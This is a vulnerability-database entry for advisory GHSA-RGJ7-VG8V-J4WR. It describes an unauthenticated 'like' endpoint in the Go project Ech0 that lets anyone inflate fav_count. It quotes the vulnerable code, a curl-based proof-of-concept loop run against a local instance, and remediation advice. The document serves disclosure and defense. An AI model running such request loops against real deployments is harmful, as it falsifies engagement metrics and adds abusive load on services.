GHSA-RGJ7-VG8V-J4WR

Vulnerability from github – Published: 2026-05-07 21:21 – Updated: 2026-05-07 21:21
VLAI?
Summary
Ech0's Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation
Details

Summary

No authentication is required to invoke PUT /api/echo/like/:id. The handler is registered on the public router group. The service increments fav_count for the given echo without checking identity, without a per-user limit, and without CSRF tokens. A remote client can arbitrarily inflate like metrics with repeated requests.

Description

Root cause: The like endpoint is explicitly public (PublicRouterGroup). LikeEcho in the service layer only runs a repository increment inside a transaction—no viewer/user binding.

Security boundary that fails: Integrity of engagement metrics (likes) and any trust that “likes” represent distinct or authenticated users.

Exploitation: Discover or guess a public echo UUID (timeline, API, share link) → send unauthenticated PUT repeatedly → fav_count increases linearly.

Affected files

| Public route registration | internal/router/echo.go | | Like mutation (no auth check) | internal/service/echo/echo.go | | Handler | internal/handler/echo/echo.go |

Vulnerable / relevant code

Public PUT route:

```11:13:Ech0/internal/router/echo.go // Public appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) appRouterGroup.PublicRouterGroup.GET("/tags", h.EchoHandler.GetAllTags())


**Service does not use viewer / rate limit:**

```244:248:Ech0/internal/service/echo/echo.go
func (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {
    return echoService.transactor.Run(ctx, func(txCtx context.Context) error {
        return echoService.echoRepository.LikeEcho(txCtx, id)
    })
}

Execution flow

  1. Client resolves ECHO_ID (e.g. GET /api/echo/page with any valid token, or from UI).
  2. Client sends PUT /api/echo/like/{ECHO_ID} with no Authorization header.
  3. Gin matches public route → handler → EchoService.LikeEcho → DB increments fav_count.
  4. Repeat N times → count increases by N.

Proof of concept

BASE="http://127.0.0.1:6277"

OWNER_TOKEN=$(curl -sS -X POST "$BASE/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"owner","password":"OwnerPass123"}' | jq -r '.data')

ECHO_ID=$(curl -sS "$BASE/api/echo/page?page=1&page_size=1" \
  -H "Authorization: Bearer $OWNER_TOKEN" | jq -r '.data.items[0].id')

# Single unauthenticated like
curl -sS -w "\nHTTP:%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"

# Inflate (e.g. 55 times); expect HTTP 200 each time
for i in $(seq 1 55); do
  curl -sS -o /dev/null -w "%{http_code}\n" -X PUT "$BASE/api/echo/like/$ECHO_ID"
done

# Observe fav_count
curl -sS "$BASE/api/echo/$ECHO_ID" | jq '.data | {id, fav_count}'

Observed proof (manual test):

  • Each unauthenticated PUT returned HTTP 200 with success JSON (e.g. 点赞Echo成功, code:1).
  • fav_count increased to 113 , demonstrating linear inflation from one client with no authentication. Screenshot 2026-04-01 105522

Impact

Like counts and ranking/social proof can be falsified; feeds or “popular” logic tied to fav_count are untrustworthy. high-volume loops add DB write load; possible abuse against availability at scale.

Attacker capability: Anyone on the network can manipulate public engagement metrics for any known echo id. Combined with permissive CORS browsers could automate cross-origin requests.

Remediation

Require authentication for likes and enforce one like per principal, or keep anonymous likes but add rate limiting, proof-of-work / captcha, or signed tokens tied to anon sessions; document that counts are not auditor-grade metrics.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.8-0.20260503040728-a7e8b8e84bd1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:21:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n**No authentication** is required to invoke **`PUT /api/echo/like/:id`**. The handler is registered on the **public** router group. The service increments **`fav_count`** for the given echo **without** checking identity, **without** a per-user limit, and **without** CSRF tokens. A remote client can **arbitrarily inflate** like metrics with repeated requests.\n\n### Description\n\n**Root cause:** The like endpoint is explicitly public (`PublicRouterGroup`). `LikeEcho` in the service layer only runs a repository increment inside a transaction\u2014no viewer/user binding.\n\n**Security boundary that fails:** **Integrity** of engagement metrics (likes) and any trust that \u201clikes\u201d represent distinct or authenticated users.\n\n**Exploitation:** Discover or guess a public echo UUID (timeline, API, share link) \u2192 send **unauthenticated** `PUT` repeatedly \u2192 **`fav_count`** increases linearly.\n\n### Affected files\n\n| Public route registration | `internal/router/echo.go` |\n| Like mutation (no auth check) | `internal/service/echo/echo.go` |\n| Handler | `internal/handler/echo/echo.go` |\n\n### Vulnerable / relevant code\n\n**Public PUT route:**\n\n```11:13:Ech0/internal/router/echo.go\n\t// Public\n\tappRouterGroup.PublicRouterGroup.PUT(\"/echo/like/:id\", h.EchoHandler.LikeEcho())\n\tappRouterGroup.PublicRouterGroup.GET(\"/tags\", h.EchoHandler.GetAllTags())\n```\n\n**Service does not use viewer / rate limit:**\n\n```244:248:Ech0/internal/service/echo/echo.go\nfunc (echoService *EchoService) LikeEcho(ctx context.Context, id string) error {\n\treturn echoService.transactor.Run(ctx, func(txCtx context.Context) error {\n\t\treturn echoService.echoRepository.LikeEcho(txCtx, id)\n\t})\n}\n```\n\n### Execution flow\n\n1. Client resolves `ECHO_ID` (e.g. `GET /api/echo/page` with any valid token, or from UI).\n2. Client sends **`PUT /api/echo/like/{ECHO_ID}`** with **no** `Authorization` header.\n3. Gin matches **public** route \u2192 handler \u2192 `EchoService.LikeEcho` \u2192 DB increments **`fav_count`**.\n4. Repeat N times \u2192 count increases by N.\n\n### Proof of concept\n\n```bash\nBASE=\"http://127.0.0.1:6277\"\n\nOWNER_TOKEN=$(curl -sS -X POST \"$BASE/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"owner\",\"password\":\"OwnerPass123\"}\u0027 | jq -r \u0027.data\u0027)\n\nECHO_ID=$(curl -sS \"$BASE/api/echo/page?page=1\u0026page_size=1\" \\\n  -H \"Authorization: Bearer $OWNER_TOKEN\" | jq -r \u0027.data.items[0].id\u0027)\n\n# Single unauthenticated like\ncurl -sS -w \"\\nHTTP:%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\n\n# Inflate (e.g. 55 times); expect HTTP 200 each time\nfor i in $(seq 1 55); do\n  curl -sS -o /dev/null -w \"%{http_code}\\n\" -X PUT \"$BASE/api/echo/like/$ECHO_ID\"\ndone\n\n# Observe fav_count\ncurl -sS \"$BASE/api/echo/$ECHO_ID\" | jq \u0027.data | {id, fav_count}\u0027\n```\n\n**Observed proof (manual test):**\n\n- Each unauthenticated `PUT` returned **HTTP `200`** with success JSON (e.g. `\u70b9\u8d5eEcho\u6210\u529f`, `code:1`).\n- **`fav_count`** increased to **113** , demonstrating **linear inflation from one client** with **no authentication**.\n\u003cimg width=\"1109\" height=\"188\" alt=\"Screenshot 2026-04-01 105522\" src=\"https://github.com/user-attachments/assets/a725cf10-d20b-45a1-95bb-2e8ea396c08c\" /\u003e\n\n\n### Impact\n\n**Like counts and ranking/social proof** can be falsified; feeds or \u201cpopular\u201d logic tied to `fav_count` are untrustworthy. \nhigh-volume loops add DB write load; possible abuse against availability at scale. \n\n**Attacker capability:** Anyone on the network can manipulate **public** engagement metrics for any known echo id. Combined with permissive **CORS** browsers could automate cross-origin requests.\n\n## Remediation \n Require authentication for likes and enforce **one like per principal**, **or** keep anonymous likes but add **rate limiting**, **proof-of-work / captcha**, or **signed tokens** tied to anon sessions; document that counts are **not** auditor-grade metrics.",
  "id": "GHSA-rgj7-vg8v-j4wr",
  "modified": "2026-05-07T21:21:21Z",
  "published": "2026-05-07T21:21:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-rgj7-vg8v-j4wr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/commit/a7e8b8e84bd1e3db090dfb720f2c6c433356b442"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ech0\u0027s Unauthenticated Like Endpoint Enables Arbitrary Engagement Metric Inflation"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…